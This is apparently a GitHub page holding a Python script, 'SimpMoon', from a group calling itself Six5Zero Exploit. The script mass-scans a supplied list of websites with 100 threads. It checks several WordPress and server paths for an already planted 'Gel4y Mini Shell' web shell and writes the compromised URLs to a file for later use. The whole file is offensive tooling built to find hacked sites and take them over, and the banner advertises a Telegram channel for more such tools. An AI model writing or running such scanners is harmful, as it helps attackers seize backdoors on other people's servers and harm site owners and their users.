-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathSimpMoon.py
More file actions
58 lines (54 loc) · 2.28 KB
/
SimpMoon.py
File metadata and controls
58 lines (54 loc) · 2.28 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests, os, datetime
from multiprocessing.dummy import Pool
from colorama import Fore, init, Style
init(autoreset=True)
now = datetime.datetime.now()
date = now.strftime("%d-%m-%Y")
def FilterURLS(site):
if not site.startswith(('http://', 'https://')):
if not site.startswith('www.'):
site = 'http://' + site
else:
site = 'http://www.' + site
if not site.endswith('/'):
site += '/'
return site
def SixFiveZero(site):
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36'
}
try:
site = FilterURLS(site)
Pathlist = ['wp-admin/images/moon.php','.well-known/acme-challenge/moon.php','cgi-bin/moon.php','wp-admin/js/widgets/moon.php','wp-admin/maint/moon.php']
for path in Pathlist:
url = site + path
response = requests.get(url, headers=headers, allow_redirects=True, verify=True, timeout=15)
if "<title>Gel4y Mini Shell</title>" in response.text:
print(f"\t{Fore.GREEN}[✓]{Style.RESET_ALL} {site} => {Fore.GREEN}VULNERABLE{Style.RESET_ALL}")
open(f"YanzShell-{date}.txt", "a").write(url + "/650.php\n")
else:
print(f"{Fore.RED}[✗]{Style.RESET_ALL} {site} => {Fore.RED}NOT VULNERABLE{Style.RESET_ALL}")
except:
pass
def main():
os.system("cls" if os.name == "nt" else "clear")
print(f'''
____ _ ____ _____
/ ___|(_)_ _| ___|__ /___ _ __ ___
\___ \| \ \/ /___ \ / // _ \ '__/ _ \
___) | |> < ___) / /| __/ | | (_) |
|____/|_/_/\_\____/____\___|_| \___/ {Fore.RED}SIMPMOON{Style.RESET_ALL}
[-Devloped BY @NullHextral, Six5Zero Exploit-]
[-Join our Telegram channel for exclusive tools.(https://t.me/six5zeroexploit)-]
''')
files = input("Enter List => ")
try:
with open(files, 'r', encoding='utf-8') as file:
sites = [line.strip() for line in file.readlines()]
except FileNotFoundError:
print(f"\t{Fore.RED}[!] File Not Found{Style.RESET_ALL}")
exit()
with Pool(100) as nullhextral:
nullhextral.map(SixFiveZero, sites)
if __name__ == "__main__":
main()